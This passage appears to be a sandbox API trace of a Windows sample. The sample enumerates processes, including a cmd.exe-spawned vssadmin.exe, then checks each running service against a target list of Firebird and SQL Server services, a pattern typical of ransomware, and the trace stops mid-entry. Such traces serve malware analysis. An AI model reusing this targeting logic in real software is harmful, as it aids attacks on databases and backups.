hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.901] lstrlenW (lpString="svchost.exe") returned 11 [0121.901] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0121.902] lstrlenW (lpString="sppsvc.exe") returned 10 [0121.902] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.902] lstrlenW (lpString="svchost.exe") returned 11 [0121.902] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0121.903] lstrlenW (lpString="msiexec.exe") returned 11 [0121.903] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0121.904] lstrlenW (lpString="cmd.exe") returned 7 [0121.904] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0121.904] lstrlenW (lpString="conhost.exe") returned 11 [0121.904] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0121.905] lstrlenW (lpString="vssadmin.exe") returned 12 [0121.905] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0121.906] lstrlenW (lpString="VSSVC.exe") returned 9 [0121.906] Process32NextW (in: hSnapshot=0x220, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0121.906] CloseHandle (hObject=0x220) returned 1 [0121.906] Sleep (dwMilliseconds=0x1f4) [0122.597] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ea30 [0122.598] EnumServicesStatusExW (in: hSCManager=0x52ea30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0122.598] GetLastError () returned 0xea [0122.598] EnumServicesStatusExW (in: hSCManager=0x52ea30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x391a000, cbBufSize=0x1484, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x391a000, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0122.598] CloseServiceHandle (hSCObject=0x52ea30) returned 1 [0122.598] lstrlenW (lpString="Appinfo") returned 7 [0122.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0122.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0122.598] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0122.598] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0122.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0122.599] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0122.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0122.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0122.599] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0122.599] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0122.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0122.599] lstrlenW (lpString="AudioSrv") returned 8 [0122.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0122.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0122.599] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0122.599] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0122.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0122.599] lstrlenW (lpString="BFE") returned 3 [0122.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0122.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0122.599] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0122.599] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0122.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0122.599] lstrlenW (lpString="CryptSvc") returned 8 [0122.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0122.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0122.599] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0122.599] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0122.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0122.599] lstrlenW (lpString="CscService") returned 10 [0122.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0122.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0122.599] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0122.599] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0122.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0122.599] lstrlenW (lpString="DcomLaunch") returned 10 [0122.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0122.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0122.599] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0122.599] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0122.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0122.599] lstrlenW (lpString="Dhcp") returned 4 [0122.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0122.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0122.599] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0122.599] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0122.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0122.599] lstrlenW (lpString="Dnscache") returned 8 [0122.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0122.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0122.600] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0122.600] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0122.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0122.600] lstrlenW (lpString="DPS") returned 3 [0122.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0122.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0122.600] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0122.600] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0122.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0122.600] lstrlenW (lpString="eventlog") returned 8 [0122.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0122.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0122.600] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0122.600] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0122.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0122.600] lstrlenW (lpString="EventSystem") returned 11 [0122.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0122.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0122.600] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0122.600] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0122.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0122.600] lstrlenW (lpString="FontCache") returned 9 [0122.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0122.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0122.600] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0122.600] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0122.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0122.600] lstrlenW (lpString="gpsvc") returned 5 [0122.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0122.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0122.600] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0122.600] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0122.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0122.600] lstrlenW (lpString="iphlpsvc") returned 8 [0122.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0122.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0122.600] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0122.601] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0122.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0122.601] lstrlenW (lpString="LanmanServer") returned 12 [0122.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0122.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0122.601] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0122.601] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0122.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0122.601] lstrlenW (lpString="LanmanWorkstation") returned 17 [0122.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0122.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0122.601] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0122.601] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0122.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0122.601] lstrlenW (lpString="lmhosts") returned 7 [0122.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0122.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0122.601] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0122.601] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0122.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0122.601] lstrlenW (lpString="MMCSS") returned 5 [0122.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0122.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0122.601] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0122.601] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0122.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0122.601] lstrlenW (lpString="MpsSvc") returned 6 [0122.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0122.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0122.601] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0122.601] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0122.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0122.601] lstrlenW (lpString="Netman") returned 6 [0122.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0122.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0122.601] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0122.601] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0122.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0122.601] lstrlenW (lpString="netprofm") returned 8 [0122.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0122.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0122.602] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0122.602] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0122.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0122.602] lstrlenW (lpString="NlaSvc") returned 6 [0122.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0122.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0122.602] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0122.602] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0122.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0122.602] lstrlenW (lpString="nsi") returned 3 [0122.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0122.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0122.602] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0122.602] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0122.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0122.602] lstrlenW (lpString="PcaSvc") returned 6 [0122.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0122.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0122.602] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0122.602] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0122.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0122.602] lstrlenW (lpString="PlugPlay") returned 8 [0122.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0122.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0122.602] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0122.602] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0122.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0122.602] lstrlenW (lpString="Power") returned 5 [0122.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0122.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0122.602] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0122.602] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0122.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0122.602] lstrlenW (lpString="ProfSvc") returned 7 [0122.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0122.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0122.602] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0122.602] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0122.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0122.603] lstrlenW (lpString="RpcEptMapper") returned 12 [0122.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0122.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0122.603] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0122.603] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0122.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0122.603] lstrlenW (lpString="RpcSs") returned 5 [0122.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0122.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0122.603] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0122.603] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0122.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0122.603] lstrlenW (lpString="SamSs") returned 5 [0122.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0122.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0122.603] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0122.603] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0122.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0122.603] lstrlenW (lpString="Schedule") returned 8 [0122.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0122.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0122.603] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0122.603] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0122.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0122.603] lstrlenW (lpString="SENS") returned 4 [0122.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0122.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0122.603] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0122.603] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0122.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0122.603] lstrlenW (lpString="ShellHWDetection") returned 16 [0122.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0122.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0122.603] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0122.603] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0122.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0122.603] lstrlenW (lpString="Spooler") returned 7 [0122.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0122.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0122.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0122.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0122.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0122.604] lstrlenW (lpString="sppsvc") returned 6 [0122.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0122.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0122.604] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0122.604] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0122.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0122.604] lstrlenW (lpString="swprv") returned 5 [0122.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0122.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0122.604] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0122.604] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0122.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0122.604] lstrlenW (lpString="SysMain") returned 7 [0122.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0122.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0122.604] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0122.604] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0122.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0122.604] lstrlenW (lpString="Themes") returned 6 [0122.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0122.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0122.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0122.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0122.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0122.604] lstrlenW (lpString="TrkWks") returned 6 [0122.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0122.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0122.604] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0122.604] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0122.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0122.604] lstrlenW (lpString="UxSms") returned 5 [0122.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0122.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0122.604] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0122.604] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0122.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0122.605] lstrlenW (lpString="VSS") returned 3 [0122.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0122.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0122.605] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0122.605] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0122.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0122.605] lstrlenW (lpString="W32Time") returned 7 [0122.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0122.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0122.605] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0122.605] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0122.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0122.605] lstrlenW (lpString="WdiServiceHost") returned 14 [0122.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0122.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0122.605] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0122.605] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0122.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0122.605] lstrlenW (lpString="WdiSystemHost") returned 13 [0122.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0122.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0122.605] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0122.605] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0122.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0122.605] lstrlenW (lpString="WinDefend") returned 9 [0122.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0122.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0122.605] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0122.605] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0122.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0122.605] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0122.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0122.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0122.605] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0122.605] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0122.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0122.605] lstrlenW (lpString="Winmgmt") returned 7 [0122.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0122.605] lstrcmpiW 